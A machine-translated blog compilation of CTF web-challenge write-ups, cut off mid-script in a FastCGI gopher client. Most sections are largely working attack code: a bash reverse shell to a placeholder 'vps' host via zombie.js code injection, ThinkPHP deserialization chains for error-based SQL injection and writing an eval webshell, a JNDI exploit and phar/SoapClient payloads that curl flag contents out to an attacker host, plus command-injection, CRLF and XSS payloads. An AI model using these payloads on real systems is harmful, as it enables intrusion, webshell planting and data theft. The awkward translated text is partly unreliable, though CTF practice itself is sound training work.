content[]=<img+src%3D"http%3A//127.0.0.1:8888/api/files?username%3Dadmin%26filename%3D./flag%26checksum%3D123">

content[]=%3Cscript%3E%0Avar%20xhr%20%3D%20new%20XMLHttpRequest()%3Bxhr.open(%22GET%22%2C%20%22http%3A%2F%2F127.0.0.1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin%26filename%3D.%2Fflag%26checksum%3D123%22%2C%20true)%3Bxhr.send()%3B%0A%3C%2Fscript%3E

 Insert picture description here

Revisit /api/files/123 that will do
 Insert picture description here

[2021 Xiangyun cup ]cralwer_z

key word : Logical vulnerability replaces malicious service address ,zombiejs Code injection vulnerability
Register to log in and find no useful points , Just sign up for a login
User.js /profile The function of routing, updating personal information and crawling
 Insert picture description here

also /bucket route
 Insert picture description here

see utils.checkBucket(bucket) Processing logic , The agreement must be http(s) And it must contain oss-cn-beijing.ichunqiu.com
 Insert picture description here

/profile Routing this can be seen if bucket The address complies with the specification , Then jump to the page with authToken To visit /user/verify, At this time, what is updated is updated personalBucket
 Insert picture description here

Verify Route that if token It works , And through valid Value settings for token It can only be used once , After use valid Will be for false. Update here bucket Used for personalBucket Value
 Insert picture description here

So it should be sent twice , A normal address acquisition token, Another malicious address replacement for this personalBucket
, Then use the normal package token Go to /verify Then verify , to update bucket

If the command is executed, use zombiejs Code injection vulnerability https://ha.cker.in/index.php/Article/13563
First again vps Build a simple http The server , Let go test.html page , Use the last spliced code
 Insert picture description here

<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/vps/7777 0>&1'],);console.log(ls.output.toString());")()</script>

First use the normal... On the data page bucket Address send a packet to get token, Don't jump to verification at this time
 Insert picture description here

Copy a package ,Bucket That should be changed to http://vps:7999/test.html#.oss-cn-beijing.ichunqiu.com/ that will do
 Insert picture description here

Finished sending , At this time bucket It hasn't changed , Back to the original package , Click follow 302 Jump button
 Insert picture description here

here /user/bucket The address of has been changed to vps 了
 Insert picture description here

visit /user/bucket Can trigger rce
 Insert picture description here  Insert picture description here

[ Hongminggu CTF 2021]EasyTP

key word :think PHP Loophole SQL An error injection Stack Injection
/www.zip Download the source code , Check the controller first , There is an inverse sequence entry

 Insert picture description here

see ThinkPHP edition Search for ready-made chains ThinkPHP v3.2.* (SQL Inject & File read ) Deserialization POP chain
 Insert picture description here

Use the article directly payload hit

<?php
namespace Think\Db\Driver{
    
    use PDO;
    class Mysql{
    
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true //  Open to read the file 
        );
        protected $config = array(
            "debug"    => true,
            "database" => "test", //  It can be replaced by any existing library 
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root" // BUU The environment password is root
        );
    }
}
namespace Think\Image\Driver{
    
    use Think\Session\Driver\Memcache;
    class Imagick{
    
        private $img;
        public function __construct(){
    
            $this->img = new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    
    use Think\Model;
    class Memcache{
    
        protected $handle;
        public function __construct(){
    
            $this->handle = new Model();
        }
    }
}
namespace Think{
    
    use Think\Db\Driver\Mysql;
    class Model{
    
        protected $options = array();
        protected $pk;
        protected $data = array();
        protected $db = null;
        public function __construct(){
    
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                // View database name 
                // "table" => "mysql.user where updatexml(1,concat(0x7e,mid((select(group_concat(schema_name))from(information_schema.schemata)),30),0x7e),1)#",
                // Database name :'~information_schema,mysql,performance_schema,sys,test~'
                // The length that can be read at one time is limited , Read the data twice   Use mid Function to read separately 

                // Look up the name of the table 
                // "table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#",
                // ~flag,users~

                //  Look up the list name 
                //"table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#",
                //~flag~

                // Check the field value 
                "table" => "mysql.user where updatexml(1,concat(0x7e,mid((select`*`from`flag`),1),0x7e),1)#",
                "where" => "1=1"
                
            );
        }
    }
}
namespace {
    
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

No echo is injected with an error
 Insert picture description here
 Insert picture description here

utilize mysql Stack Injection write shell

<?php
namespace Think\Db\Driver{
    
    use PDO;
    class Mysql{
    
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true,    // Read local file ~
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true,    // Stack it up ~
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "test",// Any existing database 
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}
namespace Think\Image\Driver{
    
    use Think\Session\Driver\Memcache;
    class Imagick{
    
        private $img;
        public function __construct(){
    
            $this->img = new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    
    use Think\Model;
    class Memcache{
    
        protected $handle;
        public function __construct(){
    
            $this->handle = new Model();
        }
    }
}
namespace Think{
    
    use Think\Db\Driver\Mysql;
    class Model{
    
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;
        public function __construct(){
    
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=1;select '<?php eval(\$_POST[1]);?>' into outfile '/var/www/html/shell.php';#",
                "where" => "1=1"
            );
        }
    }
}
namespace {
    
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));


    $curl = curl_init();
    curl_setopt_array($curl, array(
        CURLOPT_URL => "http://bcd0efea-1d63-43e5-abd8-d004a006567b.node4.buuoj.cn:81/index.php/Home/Index/test",
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_ENCODING => "",
        CURLOPT_MAXREDIRS => 10,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
        CURLOPT_CUSTOMREQUEST => "POST",
        CURLOPT_POSTFIELDS => base64_encode(serialize(new Think\Image\Driver\Imagick())),
        CURLOPT_HTTPHEADER => array(
            "Postman-Token: 348e180e-5893-4ab4-b1d4-f570d69f228e",
            "cache-control: no-cache"
        ),
    ));
    $response = curl_exec($curl);
    $err = curl_error($curl);
    curl_close($curl);
    if ($err) {
    
        echo "cURL Error #:" . $err;
    } else {
    
        echo $response;
    }
}

Then use the database connector provided by the ant sword to query the data , The address cannot be configured here localhost It won't connect
 Insert picture description here  Insert picture description here

It can also be used. rogue-mysql-server , Modify the above payload Database configuration in , You can read any file , But here flag In the database

[SWPUCTF 2016]Web7

key word :Python urllib HTTP Head injection vulnerability
Submit Any character , Direct error The call stack shows the last called urllib2 modular
 Insert picture description here

Baidu found Python urllib HTTP Head injection vulnerability Due to the vulnerability, the version is a little old Local python No recurrence succeeded , This vulnerability exploits newline characters in http Insert any content into the header to complete the injection
 Insert picture description here

https://tiaonmmn.github.io/2019/09/12/SWPUCTF-2016-Web7/

payload:

http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/

direct submit Submit to change the password
Then the administrator logs in and directly enters admin Sign in
 Insert picture description here

[ WANGDING cup 2020 Semifinals ]BabyJS

key word :ssrf 00 truncation Command execution space bypass
Download the source code , To look at first routes/index.js, You can see that an empty... Will be returned for direct access json
 Insert picture description here

/debug The main logic of routing exists .

GET request : If you visit ip stay blacklist Chinese means local IP visit , Just read get In the parameter url Parameters , Remove the single and double quotation marks , And then use nodejs Of url.parse Parse . Put the parsed url Joining together to echo '${url.parse(u).href}'>>/tmp/log In the implementation of . Then return /tmp/log Contents of the file . Here you can use command injection to inject flag The contents of the file are written to log In file
 Insert picture description here

POST request :post If you submit url Parameters , Then use url.parse analysis , Then determine whether the hostname field is in blacklist If not in it , call request Function USES GET Method request url Parameters url, Return the requested content , Can be used for SSRF GET request /debug route
 Insert picture description here

structure payload, Use cp The command /flag Copy directly to /tmp/log Next , adopt $IFS Instead of spaces . stay get /debug In the implementation of the request , It also filters symbols ’、". stay url.js Found in source code , Execute function url.parse(u).href when , Yes URL The fields representing the user name and password in the will be decoded twice , So you can ’ The symbols are encoded and hidden in pass Field to bypass GET Single and double quotation marks in the request filter , Close the preceding command with single quotation marks . The latter command uses %00 truncation .
The blacklist only filters 127.0.0.1 Related loopback address , But actually 127.0.0.1 To 127.255.255.254 It's all loopback addresses
Paylaod:

{
    "url":"http://127.0.0.2:3000/debug?url=http://%[email protected];cp$IFS/flag$IFS/tmp/log%00"}

 Insert picture description here

[ Hongminggu CTF 2021]JavaWeb

key word :CVE-2020-11989(Apache Shiro Authentication bypasses the vulnerability ,Java Deserialization
visit /login Will prompt /json, Revisit /json Again 302 return /login,post A data simulation login
 Insert picture description here

Login failure will be prompted , But back in the package set-cookie Yes rememberMe=deleteMe, It can be confirmed that Shiro Environmental Science
utilize CVE-2020-11989(Apache Shiro Authentication bypasses the vulnerability POST visit /;/json
 Insert picture description here

As you can see, yes jackson platform
Try the ready-made tools directly

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl http://ip:7999 [email protected]/flag' -A "ip"

 Insert picture description here

["ch.qos.logback.core.db.JNDIConnectionSource",{
    "jndiLocation":"rmi://ip:1099/f5t3qu"}]

 Insert picture description here

then nc The listening port receives flag
 Insert picture description here

[b01lers2020]Scrambled

key word :python Script
You can see from the bag set-cookie There is a string of strange words according to transmissions Guess to hide information
 Insert picture description here

But I don't know the specific meaning , The middle part of the retransmission packet will change
 Insert picture description here  Insert picture description here

Find out the rules , It is found that two characters are provided at a time , And provide the second character in flag Position in
 Insert picture description here

#python3
#-*-coding=utf-8-*-open
import requests
from urllib.parse import unquote
import time

url = "http://57696281-e2fd-4829-9323-dfc8b5a6b1d7.node4.buuoj.cn:81/"
headers = {
    'Cookie': 'frequency=1; transmissions=kxkxkxkxshg%7B3kxkxkxkxsh'}
flag = ['*']*50

for i in range(100):
    r = requests.session().get(url,headers=headers)
    transmissions = unquote(requests.utils.dict_from_cookiejar(r.cookies)['transmissions']).replace('kxkxkxkxsh','')
    #print(transmissions)
    index = transmissions[2:]
    flag[int(index):int(index)+2] = transmissions[0:2]
    if i%30==0:
        time.sleep(2)
print(''.join(str(f) for f in flag))

 Insert picture description here

[Windows][HITCON 2019]Buggy_Net

key word : Report an error and bypass the blacklist check
 Insert picture description here

The title gives the source code ,C# Written . The logic is simple , First, determine whether the file has any … Prevent directory traversal , If not, read wwwroot The contents of the file in the directory and return
 Insert picture description here

Such as the input Default.txt The following figure is returned
 Insert picture description here

https://www.sigflag.at/blog/2019/writeup-hitconctf2019-buggy-dot-net/
https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#buggy-.net](hitconctf2019-buggy-dot-net/%29%20https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#buggy-.net)
Make... By reporting an error isBad = false
 Insert picture description here

send out GET request

Content-Type: application/x-www-form-urlencoded

The content of the form submitted in the request body is

filename=%2E%2E%5C%2E%2E%5CFLAG.txt&o=%3Cx

 Insert picture description here

[ Geek challenge 2020]Roamphp4-Rceme

key word :.index.php.swp, Verification code burst , XOR bypasses regular , No arguments rce
F12 notice Hint Tips <!-- Do you know vim swp? -->
Vim -r .index.php.swp recovery
 Insert picture description here

It's filtered out ^ You can't use XOR, but you can reverse it , Match the semicolon and execute the command

import hashlib
import urllib.parse as parse

def gethasheq(last):
    for i in range(3000005):
        kx = hashlib.md5(str(i).encode('UTF-8')).hexdigest()
        if (kx[:5] == last):
            return str(i)

def makeurl(last):
    ss = ""
    for each in last:
        ss += "%" + str(hex(255 - ord(each)))[2:].upper()
    return f"[~{
      ss}][!%FF]"

if __name__ == '__main__':

    cmd = makeurl('system')+'('+makeurl('next')+'('+makeurl('getallheaders')+'())));'
    print(cmd)
    print(gethasheq('ae5df'))
system(pos(next(getallheaders())));

or system(next(getallheaders()));

cmd=[~%8C%86%8C%8B%9A%92][!%FF]([~%91%9A%87%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));

 Insert picture description here  Insert picture description here

[SUCTF 2019]Upload Labs 2

key word :SSRF,phar+Soapclient Native class inverse sequence ,FINFO_FILE Trigger phar,php://filter Bypass phar:// Filter

Check the source code according to the link given
admin.php You can see that local access is required to enter the correct logic
 Insert picture description here

func.php call file Class getMIME() Function to view the file type , Some common pseudo protocols are disabled , Mainly phar Disabled
 Insert picture description here

getMIME() Used in FINFO_FILE

finfo_file/finfo_buffer/mime_content_type
All pass _php_finfo_get_type Indirectly called key functions php_stream_open_wrapper_ex, Can be used phar:// Trigger
phar Deserialization
 Insert picture description here

index.php That is, you can see the call on the upload page Check Class check Function to detect the contents of a file
 Insert picture description here

notice class.php, It's filtered out <? label
 Insert picture description here

The idea is to use deserialization of native classes SoapClient hit ssrf adopt crlf Yes admin.php send out post request ,<? Label use <script language="php"> Form bypasses .
phar Bypass of :

  1. adopt php://filter To bypass some opening restrictions phar:// Deserialization
  2. adopt xxe Loading an external entity triggers phar,config.php in libxml_disable_entity_loader(true); The ability to load external entities is disabled , but File Class ReflectionClass Reflection class loading instantiation class , Here you can instantiate SimpleXMLElement classes xxe.
  3. Instantiated by reflection Mysqli class , utilize vps On Rogue Mysql For malicious services phar https://www.vulnspy.com/cn-phpmyadmin-load-data-local-file-read-local-file/
     Insert picture description here
$reflect = new ReflectionClass('Mysqli');
$sql = $reflect->newInstanceArgs();

$reflectionMethod = new ReflectionMethod('Mysqli', 'init');
$reflectionMethod->invoke($sql, $arr);

$reflectionMethod = new ReflectionMethod('Mysqli', 'real_connect');
$reflectionMethod->invoke($sql, 'ip','root','123456','test','3306');

$reflectionMethod = new ReflectionMethod('Mysqli', 'query');
$reflectionMethod->invoke($sql, 'select 1');

exp as follows :
adopt phar.php Generate 1.gif, Upload the path through the upload page .

stay rogue mysql The location of the read file on the server uses phar Protocol read
phar://./upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif

Go to func.php Submit php://filter/read=convert.base64-encode/resource=phar://./upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif

<?php
class File{
    
    public $file_name;
    public $type;
    public $func = "SoapClient";
    function __construct($file_name){
    
        $this->file_name = $file_name;
    }
}
$target = 'http://127.0.0.1/admin.php';
// $target = "http://106.14.153.173:2015";
$post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=xxx.xxx.xxx.xxx&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select%201&ip=xxx.xxx.xxx.xxx&port=xxxx';//ip&port For receiving flag Listening port of  arg2[0] by rogue mysql Address 
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    );
// $b = new SoapClient(null,array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "aaab"));
$arr = array(null, array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri"      => "aaab"));
$phar = new Phar("1.phar"); // The suffix must be phar
$phar->startBuffering();
// <?php __HALT_COMPILER();
$phar->setStub("GIF89a" . "< language='php'>__HALT_COMPILER();</>"); // Set up stub
$o = new File($arr);
$phar->setMetadata($o); // Will customize meta-data Deposit in manifest
$phar->addFromString("test.txt", "test"); 
    // Automatic signature calculation 
$phar->stopBuffering();
rename("1.phar", "1.gif");
?>

Don't use MySQLi The trigger , utilize SplStack, Call it the push Method ,

<?php
class File {
    
    public $file_name = "";
    public $func = "SoapClient";

    function __construct(){
    
        $target = "http://127.0.0.1/admin.php";
        $post_string = 'admin=1&cmd=curl "http://ip:7999"."?`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='."\r\n";
        $headers = [];
        $this->file_name  = [
            null,
            array('location' => $target,
                  'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
                  'uri'=>'hello')
        ];
    }
}
$object = new File;
echo urlencode(serialize($object));
$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->addFromString('1.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
$phar->setMetadata($object);
$phar->stopBuffering();

But it can be seen that the author's notes should be expected to be used MySQL Triggered but used __destruct Cause to use directly php://filter Just go
 Insert picture description here

https://xz.aliyun.com/t/6057?page=5#toc-2

[ WANGDING cup 2020 The NBA finals ]Game Exp

key word :phar Deserialization
The audit code found two commands / Code execution point
/login/register.php
 Insert picture description here

/finger/index.php
 Insert picture description here

Audit the login logic , Escape the input , Set the suffix of the file uploaded by the white list to the avatar and limit the file type to the image , The final file name of the uploaded file is username.extension How to name ,sql Injection is not feasible
Last save with file_exists Check filename Whether there is , This file function can use pseudo Protocol phar Trigger deserialization
 Insert picture description here

/login/register.php For direct use phar Deserialize and execute arbitrary code
exp:

<?php
class AnyClass{
    
    var $output = "eval(system('cat /flag.txt'));";
}
$a = new AnyClass();

$phar = new Phar('123.phar',0,'123.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');


$phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();

Generated phar The file suffix is gif, Register that upload file register , Then grab the bag , Normal registration sends a package , Second revision username by phar://username Trigger phar
 Insert picture description here

/finger/index.php It's about , First change the package and change the score to 1000 And above
 Insert picture description here  Insert picture description here

I originally wanted to use the registration phar Deserialization , Hit the native class ssrf, Then I found that there was no suitable springboard , When an invocation method is invoked in an object ,__call() Will be called , It doesn't work SoapClient The class

[SWPU2019]Web6

key word :mysql in WITH ROLLUP null Bypass login checks ,PHP_SESSION_UPLOAD_PROGRESS
Test the login by capturing packets , If the user password is incorrect, that is sql The returned result of the query statement is 0 when , Tips wrong username or password
 Insert picture description here

If you use a universal password , bring sql Statement returns 1 when , Tips Wrong password
 Insert picture description here

Guess that the login logic should be sql Returns... In the result set passwd It's checked

if($key['passwd'] == $_POST['passwd'])

To make both sides equal except sql Inject the password , It can also make both sides null
and mysql in WITH ROLLUP Yes group by When the results are summarized, if they are non additive values, such as user name, etc , The result is null
 Insert picture description here

Use having The result can be limited

username=1' or '1'='1' group by passwd with rollup having passwd is NULL#&passwd=

Make the queried password and the entered password blank , If the program judges that the comparison is consistent, you can successfully log in
There will be a prompt after successful login method can useuser see wp I know here method You can also transfer values hint
Given some file names
 Insert picture description here

And then you see wp I know there's another one wsdl.php, Check the source code to see some useful method value , And a file name
 Insert picture description here  Insert picture description here

File_read That can read the contents of the file
 Insert picture description here

Before you read it again hint File name given at
index.php
 Insert picture description here

First visit method=get_flag The only hint is admin Be able to access... Locally
The main logic should be Service.php Inside , But not enough permissions to read , Read encode.php
 Insert picture description here

I don't know about encryption , Write a reverse decoder to try to decode cookie decode , Get the decoded user name , Direct use en_crypt forge admin
 Insert picture description here  Insert picture description here

Forged cookie by xZmdm9NxaQ==
Replace cookie Then you can read se.php,interface.php, but Service.php Still unreadable

#se.php
<?php
ini_set('session.serialize_handler', 'php');
class aa{
    
        public $mod1;
        public $mod2;
        public function __call($name,$param){
    
            if($this->{
    $name}){
    
                    $s1 = $this->{
    $name};
                    $s1();
                }
        }
        public function __get($ke){
    
            return $this->mod2[$ke];
        }
}
class bb{
    
        public $mod1;
        public $mod2;
        public function __destruct(){
    
            $this->mod1->test2();
        }
} 
class cc{
    
        public $mod1;
        public $mod2;
        public $mod3;
        public function __invoke(){
    
                $this->mod2 = $this->mod3.$this->mod1;
        } 
}
class dd{
    
        public $name;
        public $flag;
        public $b; 
        public function getflag(){
    
                session_start(); 
                var_dump($_SESSION);
                $a = array(reset($_SESSION),$this->flag);
                echo call_user_func($this->b,$a);
        }
}
class ee{
    
        public $str1;
        public $str2;
        public function __toString(){
    
                $this->str1->{
    $this->str2}();
                return "1";
        }
}
$a = $_POST['aa'];
unserialize($a);
?>

interface.php The content in , It can be used SoapClient hit ssrf, Yes get_flag To call
 Insert picture description here

se.php The deserialization chain construction of is relatively simple , Finally, it is to call getflag function
 Insert picture description here

Guess here method=get_flag Is to call Service.php In the middle of Get_flag function , Then use it here call_user_func Call this function , But local access is required , Here, before calling the function, it starts session, Then you can use php session Deserialization of ssrf Call this function locally
utilize session.upload_progress deserialize In short, it's using PHP_SESSION_UPLOAD_PROGRESS When uploading files Will PHP_SESSION_UPLOAD_PROGRESS Write the value of session In file , Construct malicious serialization statements that can be used after writing session Deserialization complete ssrf

<?php
class aa
{
    
        public $mod1;
        public $mod2;
}
class bb
{
    
        public $mod1;
        public $mod2;
} 

class cc
{
    
        public $mod1;
        public $mod2;
        public $mod3;
}

class dd
{
    
        public $name;
        public $flag;
        public $b;
}
class ee
{
    
        public $str1;
        public $str2;
}

$bb = new bb();
$aa = new aa();
$cc = new cc();
$ee = new ee();
$bb ->mod1 = $aa;
$cc -> mod1 = $ee;
$dd = new dd();
$dd->flag='Get_flag';
$dd->b='call_user_func';
$ee -> str1 = $dd;
$ee -> str2 = "getflag";
$aa ->mod2['test2'] = $cc;
echo serialize($bb);
<?php

$target = 'http://127.0.0.1/interface.php';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: user=xZmdm9NxaQ==',
);
$b = new SoapClient(null, array('location' => $target, 'user_agent' => 'wupco^^' . join('^^', $headers), 'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^', "\r\n", $aaa);
$aaa = str_replace('&', '&', $aaa);
echo $aaa;
<html>
<body>
    <form action="http://2bb5fbee-f331-4a5a-9766-b3b6f9eef654.node4.buuoj.cn:81/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>
</body>
</html>

Submit any document , And then modify value Value , And plus Cookie: PHPSESSID=test2; This value can be arbitrary but should be accessed later se.php Of PHPSESSID Same value , In the generated payload with | To trigger deserialization
 Insert picture description here

And then take session visit se.php Submit payload that will do
 Insert picture description here

[NCTF2019]phar matches everything

key word :phar,ssrf+gopher hit fpm

<?php
#catchmime.php
class Easytest{
    
    protected $test = '1';
}
class Main {
    
    public $url = "file:///proc/net/arp";
}

$a = new Easytest();
echo urlencode(serialize($a))."\n";

$b = new Main();
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('1.phar');
$phar -> startBuffering();
$phar -> setStub($png_header.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($b);
$phar -> stopBuffering();
rename("1.phar","1.png");
?>

Direct reading flag I can't read it , Read /etc/hosts as well as /proc/net/arp
/proc/net/arp Get the target's intranet IP Address , Probe the intranet host
 Insert picture description here

It makes sense ip I modified exp Inside url use http Visit to get the contents of the home page, but there is no , I haven't found any intranet hosts here IP Address , Just find one that's on iis There may be something wrong with the environment , according to wp Go over it
according to isrc The code of , To combine gopher Agreement play FPM
Had a whore python3 Available scripts

// gopher.py
import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
import requests
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])
def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)
def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')
def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s
class FastCGIClient:
    """A Fast-CGI Client for Python"""
    # private
    __FCGI_VERSION = 1
    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3
    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11
    __FCGI_HEADER_SIZE = 8
    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3
    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()
    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True
    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf
    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value
    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header
    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))
        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record
    def request(self, nameValuePairs={
    }, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)
    def gopher(self, nameValuePairs={
    }, post=''):
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        return request
    def __waitForResponse(self, requestId):
